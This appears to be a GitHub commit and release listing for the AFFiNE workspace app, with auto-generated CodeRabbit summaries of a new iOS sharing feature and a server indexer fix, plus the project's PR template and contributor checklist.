<!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added iOS sharing for URLs, text, web pages, and images. * Shared content can be reviewed, titled, and saved to an AFFiNE workspace. * Choose destinations including workspaces, tags, and collections. * Added previews, attachment handling, import status, retry support, and success/error feedback. * Pending shares are processed when AFFiNE opens or returns to the foreground. * **Bug Fixes** * Improved workspace profile handling across different workspace types. * Onboarding completion is now recorded immediately after successful sign-in verification. <!-- end of auto-generated comment: release notes by coderabbit.ai --> --------- Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>v2026.8.27-canary.1230 |
||
|
|
ca056ae7b9 | feat(ios): cleanup ui (#15535) | ||
|
|
612923b55c |
fix(server): indexer feature (#15533)
<!-- Thank you for contributing to AFFiNE! The PR title must follow Conventional Commits (enforced by CI): type(scope): description e.g. fix(editor): keep selection after paste Types: feat fix docs style refactor perf test build ci chore revert --> ## Description <!-- What does this PR do? Link related issues, e.g. "Closes #1234". Screenshots or recordings are welcome for UI changes. --> ## Checklist - [ ] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [ ] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [ ] Tests are added or updated where it makes sense - [ ] `yarn lint` and `yarn typecheck` pass locally #### PR Dependency Tree * **PR #15533** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved indexer feature synchronization when the indexer is enabled or configuration changes. * Enabled indexer-related capabilities without waiting for native search readiness checks. * Improved consistency across search, aggregate, document, and application startup flows. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v0.27.5-beta.1 |